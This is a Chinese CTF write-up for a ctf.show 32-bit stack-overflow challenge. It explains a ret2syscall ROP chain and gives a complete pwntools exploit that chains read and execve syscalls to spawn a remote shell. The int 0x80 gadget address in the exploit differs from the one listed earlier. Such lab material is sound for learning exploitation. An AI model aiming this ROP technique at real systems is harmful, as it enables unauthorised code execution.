题目:接着练ret2syscall,多系统函数调用

checksec 一下:

1
32 位关闭栈保护与 PIE。

IDA 分析,依旧静态编译:
1
看到 gets 函数,和上题差不多,都是利用栈溢出漏洞。

/bin/sh 在 IDA 上搜索不到,不能返回地址执行 getshell 了,那就找另外一种方法。确实难找,read 衍生函数很多,找到个单纯 “read” 的函数是真难……
1
有 read 函数那我们可以用它去读取字符串到内存呐,利用 read 函数来进行手动写入 “/bin/sh” 字符串。

在 main 函数中没看到调用 read 函数,只能我们写 exp 时利用 syscall 去调用 read 函数,搭配 gadgets 去让 read 通过寄存器去读取 /bin/sh 字符串。可以看到 read 函数需要三个参数,加上自身系统调用号,我们就需要使用 eax、ebx、ecx、edx 的 gadgets。

gadget 查询:
1
1
1
pop_edx_ecx_ebx_ret:0x0806ecb0

pop_eax_ret:0x080bb2c6

int 0x80:0x08049421
调用 read 函数,read 函数系统调用号是 0x3,用 eax 寄存,三个参数用 ebx、ecx、edx 分别暂时寄存,int 0x80 去开启执行 read 函数,把 /bin/sh 写入内存 bss 段后,接着执行 execve 函数,也是用一样的 gadgets:
1
用一个bss地址就行
缓冲区大小:
1
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
io = remote("pwn.challenge.ctf.show", 28266)
#io = process('./pwn')

pop_eax_ret = 0x080bb2c6
pop_edx_ecx_ebx_ret = 0x0806ecb0
int_0x80 = 0x0806F350
bss = 0x080eb000
bin_sh = "/bin/sh\x00"

payload = cyclic(44) + p32(pop_eax_ret) + p32(0x3) + p32(pop_edx_ecx_ebx_ret) + p32(0x10) + p32(bss) + p32(0) + p32(int_0x80)
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss) + p32(int_0x80)
io.recvuntil("system?")
io.sendline(payload)
io.sendline(bin_sh)
io.interactive()

解释一下这个payload
第一段用于返回到read函数,让read向bss写入0x10字节
将/bin/sh写入bss
也就是

1
read(0, bss, 0x10)

第二段
eax = 0xb(execve 的 syscall number)
构造

1
execve(bss, 0, 0)

执行execve
得到shell